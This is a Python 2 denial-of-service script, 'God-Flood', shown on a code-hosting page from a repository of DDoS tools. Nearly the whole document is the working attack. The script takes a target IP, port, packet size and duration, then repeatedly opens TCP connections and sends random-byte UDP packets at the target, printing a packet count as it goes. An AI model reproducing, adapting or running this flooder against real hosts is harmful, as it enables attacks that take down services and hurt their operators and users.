Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/god-flood.py
4565 views
1
#!/usr/bin/env python
2
# God-Flood by LiGhT
3
import socket, random, time, os, sys
4
5
if len(sys.argv) < 5:
6
print "God-Flood By LiGhT"
7
sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size> <time>")
8
9
ip = sys.argv[1]
10
port = int(sys.argv[2])
11
size = int(sys.argv[3])
12
t1m3 = int(sys.argv[4])
13
timeout = time.time() + t1m3
14
sent = 0
15
data = 'f1a525da11f6'.decode('hex')
16
while True:
17
try:
18
if time.time() > timeout:
19
break
20
else:
21
pass
22
udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
23
syn = socket.socket()
24
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
25
if port == "0":
26
port = random.randrange(1, 65535)
27
s.connect((ip, port))
28
s.send(data)
29
bytes = random._urandom(size)
30
syn.connect((ip, port))
31
udp.sendto(bytes,(ip, port))
32
sent = sent + 1
33
print "DuMPiNG TaRGeT: %s | PoRT: %s | SiZe: %s | TiMe: %s | PaCKeT: %s"%(ip, port, size, t1m3, sent)
34
#sys.stdout.write("\x1b]2;Total Packets Sent: %s\x07" % sent)
35
except KeyboardInterrupt:
36
print " Stopping Flood!"
37
sys.exit()
38
except socket.error, msg:
39
print "Socket Couldn't Connect"
40
sys.exit()
41